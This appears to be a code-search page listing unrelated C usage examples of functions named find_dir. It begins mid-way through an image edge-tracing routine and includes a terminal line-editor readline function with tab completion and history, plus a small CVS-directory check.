    if(grad[yx+tmp[2]] > max) { max = grad[yx+tmp[2]]; in = tmp[2]; }
    //printf("max = %d in = %d\n", max, in);

    if(con[yx+in]){
        if(check_diagonal(con, dr, yx, find_dir(dr, in)) ){
            if(in == tmp[0]) tmp[0] = tmp[2];
            else if(in == tmp[1]) tmp[1] = tmp[2];
            //printf("Remove diagonal 1 \n ");
            //print_con_grad(grad, con, yx, w);
            //printf("First ");
        } else if(check_max(grad, dr, yx+in, 255) ){
            if(in == tmp[0]) tmp[0] = tmp[2];
            else if(in == tmp[1]) tmp[1] = tmp[2];
        } else return in;

    } else {
        return in;
    }

    if(grad[yx+tmp[0]] > grad[yx+tmp[1]])   in = tmp[0];
    else                                    in = tmp[1];

    if(!check_diagonal(con, dr, yx, find_dir(dr, in))) {
        if(con[yx+in]){
            //if(max == 255) return in;
            if(check_max(grad, dr, yx+in, 255)){
                if(in == tmp[0]) in = tmp[1];
                else in = tmp[0];
                //printf("Second ");
            } else return in;
        } else {
            return in;
        }
    } else {
        if(in == tmp[0]) in = tmp[1];
        else in = tmp[0];
    }

    if(!check_diagonal(con, dr, yx, find_dir(dr, in))) {
        if(con[yx+in]){
            //if(max == 255) return in;
            if(check_max(grad, dr, yx+in, 255)){
                return 0;
                //printf("Second ");
            } else return in;
        } else {
            return in;
        }
    } else return 0;
}
Beispiel #24
0
 int32_t find_dir(const tchar* path) const { return find_dir(path, test_strlen(path)); }
Beispiel #25
0
int readline(char *buf, int size) {
  int idx;
  int len;
  int key;
  int i;
  int done;
  int hist_idx;
  int dir;

  if (size <= 0) {
    errno = EINVAL;
    return -1;
  }

  idx = 0;
  len = 0;
  done = 0;
  hist_idx = history_len;
  while (!done) {
    fflush(stdout);
    key = getkey();
    if (key < 0) return key;

    if (key == KEY_TAB) {
      int start;
      int end;
      int split;
      char mask[MAXPATH];
      struct direntry dirent;

      start = idx;
      while (start > 0 && !delimchar(buf[start - 1])) start--;
      end = split = start;
      while (end < len && !delimchar(buf[end])) {
        if (buf[end] == PS1 || buf[end] == PS2) split = end + 1;
        end++;
      }

      dir = find_dir(buf, start, end, split, mask);
      if (dir >= 0) {
        while (_readdir(dir, &dirent, 1) > 0) {
          int newlen = len - (end - split) + dirent.namelen;
          
          if (like(dirent.name, mask) && newlen < size - 1) {
            memmove(buf + split + dirent.namelen, buf + end, len - end);
            memcpy(buf + split, dirent.name, dirent.namelen);

            while (idx < split) putchar(buf[idx++]);
            while (idx > split)  {
              putchar('\b');
              idx--;
            }

            for (i = split; i < newlen; i++) putchar(buf[i]);
            if (newlen < len) {
              for (i = newlen; i < len; i++) putchar(' ');
              for (i = newlen; i < len; i++) putchar('\b');
            }

            end = split + dirent.namelen;
            len = newlen;
            idx = end;

            for (i = end; i < len; i++) putchar('\b');

            fflush(stdout);
            key = getkey();
            if (key < 0) break;
            if (key != KEY_TAB) break;
          }
        }
        close(dir);
        if (key < 0) return key;
      }
    }

    switch (key) {
      case KEY_LEFT:
        if (idx > 0) {
          putchar('\b');
          idx--;
        }
        break;

      case KEY_RIGHT:
        if (idx < len) {
          putchar(buf[idx]);
          idx++;
        }
        break;

      case KEY_CTRL_LEFT:
        if (idx > 0) {
          putchar('\b');
          idx--;
        }
        while (idx > 0 && buf[idx - 1] != ' ') {
          putchar('\b');
          idx--;
        }
        break;

      case KEY_CTRL_RIGHT:
        while (idx < len && buf[idx] != ' ') {
          putchar(buf[idx]);
          idx++;
        }
        if (idx < len) {
          putchar(buf[idx]);
          idx++;
        }
        break;

      case KEY_HOME:
        while (idx > 0) {
          putchar('\b');
          idx--;
        }
        break;

      case KEY_END:
        while (idx < len) {
          putchar(buf[idx]);
          idx++;
        }
        break;

      case KEY_DEL:
        if (idx < len) {
          len--;
          memmove(buf + idx, buf + idx + 1, len - idx);
          for (i = idx; i < len; i++) putchar(buf[i]);
          putchar(' ');
          putchar('\b');
          for (i = idx; i < len; i++) putchar('\b');
        }
        break;

      case KEY_INS:
        insmode = !insmode;
        break;

      case KEY_BACKSPACE:
        if (idx > 0) {
          putchar('\b');
          idx--;
          len--;
          memmove(buf + idx, buf + idx + 1, len - idx);
          for (i = idx; i < len; i++) putchar(buf[i]);
          putchar(' ');
          putchar('\b');
          for (i = idx; i < len; i++) putchar('\b');
        }
        break;

      case KEY_ESC:
        if (_break_on_escape) {
          buf[len] = 0;
          errno = EINTR;
          return -1;
        } else {
          for (i = 0; i < idx; i++) putchar('\b');
          for (i = 0; i < len; i++) putchar(' ');
          for (i = 0; i < len; i++) putchar('\b');
          idx = len = 0;
        }
        break;

      case KEY_EOF:
        if (len == 0) return -1;
        break;

      case KEY_ENTER:
        putchar('\r');
        putchar('\n');
        done = 1;
        break;

      case KEY_UP:
        if (hist_idx > 0) {
          hist_idx--;
          for (i = 0; i < idx; i++) putchar('\b');
          for (i = 0; i < len; i++) putchar(' ');
          for (i = 0; i < len; i++) putchar('\b');
          len = strlen(history[hist_idx]);
          if (len > size - 1) len = size - 1;
          idx = len;
          memcpy(buf, history[hist_idx], len);
          for (i = 0; i < len; i++) putchar(buf[i]);
        }
        break;

      case KEY_DOWN:
        if (hist_idx < history_len - 1) {
          hist_idx++;
          for (i = 0; i < idx; i++) putchar('\b');
          for (i = 0; i < len; i++) putchar(' ');
          for (i = 0; i < len; i++) putchar('\b');
          len = strlen(history[hist_idx]);
          if (len > size - 1) len = size - 1;
          idx = len;
          memcpy(buf, history[hist_idx], len);
          for (i = 0; i < len; i++) putchar(buf[i]);
        }
        break;

      case KEY_UNKNOWN:
        break;

      default:
        if (key >= 0x20 && key <= 0xFF) {
          if (insmode) {
            if (len < size - 1) {
              if (idx < len) memmove(buf + idx + 1, buf + idx, len - idx);
              buf[idx] = key;
              len++;
              for (i = idx; i < len; i++) putchar(buf[i]);
              idx++;
              for (i = idx; i < len; i++) putchar('\b');
            }
          } else {
            if (idx < size - 1) {
              buf[idx] = key;
              putchar(buf[idx]);
              if (idx == len) len++;
              idx++;
            }
          }
        }
    }
  }

  buf[len] = 0;

  add_to_history(buf);

  return len;
}
Beispiel #26
0
static gboolean
in_vc_cvs(const gchar * filename)
{
	return find_dir(filename, "CVS", FALSE);
}